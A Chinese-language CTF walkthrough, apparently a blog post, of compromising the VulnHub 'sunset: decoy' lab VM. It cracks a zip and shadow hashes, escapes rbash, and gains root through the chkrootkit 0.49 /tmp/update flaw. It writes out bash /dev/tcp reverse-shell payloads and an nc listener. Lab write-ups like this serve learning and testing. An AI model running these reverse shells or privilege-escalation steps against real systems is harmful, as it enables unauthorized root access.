vulnhub sunset: decoy

渗透思路:

nmap扫描 ---- fcrackzip破解save.zip密码 ---- john暴力破解shadow中普通用户密码 ---- rbash绕过 ---- 发现并执行chkrootkit ---- 利用chkrootkit 0.49的漏洞提权

环境信息:

靶机:192.168.3.169

攻击机:192.168.3.130

具体步骤:

1、nmap扫描

sudo nmap -sC -sV -p- 192.168.3.169

扫到22(ssh)和80(http)

2、fcrackzip破解save.zip密码

浏览器访问http://192.168.3.169/发现文件save.zip

下载到本地之后尝试解压,发现需要密码

用fcrackzip来暴力破解解压密码。fcrackzip不是kali预安装的,因此首先需要使用如下命令安装

sudo apt-get install fcrackzip

把/usr/share/wordlists/rockyou.txt.gz拷贝到save.txt同目录下,并解压备用,从该目录下开启命令行终端。

然后就可以开始破解save.zip的解压密码了

fcrackzip -D -p rockyou.txt save.zip

成功找到一个可能的密码manuel

用unzip命令解压save.zip,密码输入manuel,解压成功

3、john暴力破解shadow文件夹中的密码hash

解压得到etc文件夹,其中包含如下文件

shadow文件内容如下,有两个用户有hash后的密码,其中一个是root,一个是普通用户

用john命令对shadow文件中的密码hash进行爆破

john shadow

很快就爆破出结果:用户296640a3b825115a47b68fc44501c828的密码为server

4、rbash绕过

根据爆破出的结果ssh登录靶机

ssh 296640a3b825115a47b68fc44501c828@192.168.3.169

密码输入server

成功登录后发现该用户连whoami和cat命令都用不了,并且根据提示当前用户的shell为rbash

攻击机上查看passwd文件,发现该用户的的shell确实是rbash

退出ssh连接,重新用以下命令连接

ssh 296640a3b825115a47b68fc44501c828@192.168.3.169 -t "bash --noprofile"

ssh登录成功后可以看到当前shell已经是bash了

echo $0

但还是有很多命令不能直接使用,要写完整路径

将/bin和/usr/bin加到环境变量$PATH里面,然后就可以直接使用命令了

export PATH=$PATH:/bin
export PATH=$PATH:/usr/bin

在当前用户家目录下找到第一个flag

5、执行chkrootkit

在/home/296640a3b825115a47b68fc44501c828/SV-502/logs/文件夹下有个log.txt文件,cat一下貌似是pspy的日志

可以看到调用pspy的命令用的是相对路径

find一下,啥玩意儿也没找到,可能pspy已经木有了,或者不在当前用户可访问的目录中

find / -name "pspy" 2>/dev/null

另外还在log.txt中找到了一个解压chkrootkit 0.49的动作

chkrootkit 0.49之前见过,如果它以root权限执行的话是可以利用它提权到root的。

find一下它在哪儿,也找不到,看来可能也没有权限

find / -name "chkrootkit*" 2>/dev/null

在当前用户的家目录下看到一个可执行文件honeypot.decoy

执行之后发现有个5 Launch an AV Scan.的选项,或许会和chkrootkit有关。

选择这个选项,执行后提示AV Scan将在1分钟内执行。

疯狂ps

ps aux | grep chkrootkit

狂按数次之后,终于看到chkrootkit被执行了,并且是以root用户的身份执行的

6、chkrootkit 0.49漏洞提权

用searchsploit找提权方法

searchsploit chkrootkit

定位一下手工方法的位置

locate linux/local/33899.txt

找到绝对路径之后查看内容

cat /usr/share/exploitdb/exploits/linux/local/33899.txt

利用步骤非常简单

首先将想要以root身份执行的文件命名为update,放在/tmp文件夹下,然后以root身份运行chkrootkit就行。

echo "bash -c 'exec bash -i &>/dev/tcp/192.168.3.130/4444 <&1'" > /tmp/update

chmod +x /tmp/update

然后攻击机上nc监听4444端口

nc -nlvp 4444

回到靶机上,运行honeypot.decoy,并选择5

不一会儿,攻击机上就得到root的反弹shell了

一个奇怪的问题:

提权的时候遇到一个奇怪的问题,如果步骤6中写入/tmp/update的payload是

echo "bash -i &>/dev/tcp/192.168.3.130/4444 <&1" > /tmp/update

则直接执行/tmp/update文件是可以触发反弹shell的,但是靠chkrootkit0.49的漏洞是无法触发反弹shell的,没弄懂这是什么原因,为啥echo "bash -c 'exec bash -i &>/dev/tcp/192.168.3.130/4444 <&1'" > /tmp/update可以,echo "bash -i &>/dev/tcp/192.168.3.130/4444 <&1" > /tmp/update就不行。

后记:

经大神提点,这可能是因为很多函数以空格分割命令的参数,bash -i &>/dev/tcp/192.168.3.130/4444 <&1中&>/dev/tcp/192.168.3.130/4444和<&1会被当成两个参数,但其实他们并不是命令参数,而bash -c 'exec bash -i &>/dev/tcp/192.168.3.130/4444 <&1'中由于exec bash -i &>/dev/tcp/192.168.3.130/4444 <&1被单引号括起来了,所以整体会被当成一个参数。

若有不足请指正。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值